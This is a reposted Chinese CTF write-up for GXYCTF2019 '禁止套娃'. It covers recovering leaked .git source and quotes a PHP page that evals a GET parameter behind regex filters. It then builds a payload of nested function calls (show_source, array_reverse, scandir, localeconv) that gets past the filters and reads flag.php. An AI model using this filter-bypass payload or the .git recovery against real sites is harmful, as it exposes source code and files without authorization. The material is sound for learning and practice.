[GXYCTF2019]禁止套娃

news/2024/9/29 21:24:37

这题用御剑扫描不出来什么结果,最后看大佬的wp发现这题使用githack扫出来的

首先来收一下git源码泄露的原因:
开发人员在开发的时候,常常会先把源码提交到远程托管网站(如github),最后在从远程托管网站把源码pull到服务器的web目录下,如果忘记把 .git文件删除,就会造成此漏洞。利用 .git 文件恢复网站源码,而源码里可能会有数据库信息。
index.php的代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

第一个if语句
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
不能出现data,filter,php等一些字母
第二个if语句
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $GET['exp']))
将exp格式化处理,并检查结果是否为一个分号(该表达式会删除所有形如function_name()的函数调用,并返回剩下字符串)
[a-z,_]+:匹配函数名,由字母或者下划线构成
\( 和 \):匹配括号
(?R) :这是递归模式,允许正则表达式递归匹配嵌套的括号操作,也就是这个(/[a-z,
]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
先来看当前目录下有什么文件
使用print_r(scandir('.'));,但是注意到,如果使用点(.),最后就不会通过if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个正则,应为它匹配的只是字母和下划线,如果有点就无法将他们转化成null,也就是最后的结果不会只剩下分号。
知识点:

localeconv()函数返回包含本地数字及货币格式信息的数组,而数组第一项就是点(.)
current()函数返回数组中当前单元,默认取第一个值
pos()函数返回数组中当前元素,也是默认取第一个值
所以我们可以构造:
print_r(scandir(current(localeconv())));或者print_r(scandir(pos(localeconv())));来表示print_r(scandir('.'));

最后也是得到了回显

现在的问题就是怎么取flag了,因为只能出现字母(函数调用的这种形式)
注意到,flag.php在倒数第二的位置,而next函数是返回数组中的第二个值,所以我们可以用array_reverse()函数将数组逆置,然后用next()将它取出来
使用?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

可以看到最后返回了flag.txt
最后用highlight_file()或者show_source()将flag返回就行了
最后的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));或者?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/59227.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Blazor开发框架Known-V2.0.10

Known今天迎来了2.0的第11个版本,同时网站网址和板块也进行了一次升级改造,虽不完美,但一直在努力改变,之前一直在完善框架功能,忽略了文档的重要性,所以这次更新了文档和API。交流互动板块也在进行当中,尽请期待。官方网站:http://known.org.cn 最新版本:V2.0.10下面…

关闭默认WPS打开方式

原文链接:https://blog.csdn.net/Candy_SJ_/article/details/139898009 文件默认为wps打开,有时候有很多问题。关闭wps默认打开方式 还是有问题,我这边是将wps卸载了。

0基础开始Pine量化 止盈改进策略(附代码)

止盈的核心思想: 当市场价格达到设定的目标后,投资者会卖出资产,防止市场波动将已经取得的利润变为损失。 通过止盈,投资者在确保一定盈利的情况下退出市场,而不是继续持有以追求更高的收益,从而避免市场行情逆转带来的风险。0基础开始Pine量化 止盈改进策略(附代码) 可…

词表示与语言模型

这张幻灯片讨论了大模型背后的范式,特别是预训练和微调的基本范式可以追溯到迁移学习。以下是主要内容:迁移学习 :预训练和微调的基本范式可以追溯到迁移学习。 人类可以应用之前学到的知识更快地处理新问题,我们希望机器也具有类似的能力。传统机器学习 vs. 迁移学习 :左…

文件对比工具--BeyondCompare

💖简介 Beyond Compare 是一款功能强大的文件和文件夹比较工具,由Scooter Software开发。它可以帮助用户轻松地比较文件和文件夹的差异,并且可以合并变化、同步文件以及备份重要数据 💻环境 windows 📖版本 Beyond Compare v5.0.2 🔗地址 https://www.scootersoftwar…

基于sqli-labs Less-1的sql注入原理详细讲解

SQLi Labs 是一个专为学习和测试 SQL 注入漏洞而设计的实验室平台。它旨在帮助安全研究人员、开发者以及网络安全爱好者深入理解和实践各种 SQL 注入攻击。SQLi Labs 提供了一系列精心设计的实验室环境和挑战,模拟真实的 SQL 注入漏洞,并提供相应的解决方案。 关于sqli-labs靶…

UE4(5)逆向学习笔记(三)——UEDumper源码学习

目录0.前言1.准备2.开始阅读2.1 设置版本和Offset2.2 获取GName2.3 使用GName2.4 获取GUObjectArray2.5 使用GUObjectArray2.6 寻找dump主流程2.6.1 ObjectsManager::copyGObjectPtrs2.6.2 ObjectsManager::copyUBigObjects2.6.3 EngineCore::cacheFNames2.6.4 Engin…

k8s dashboard token 生成/获取

创建示例用户在本指南中,我们将了解如何使用 Kubernetes 的服务帐户机制创建新用户、授予该用户管理员权限并使用与该用户绑定的承载令牌登录仪表板。 对于以下每个和的代码片段ServiceAccount,ClusterRoleBinding您都应该将它们复制到新的清单文件(如)中,dashboard-admin…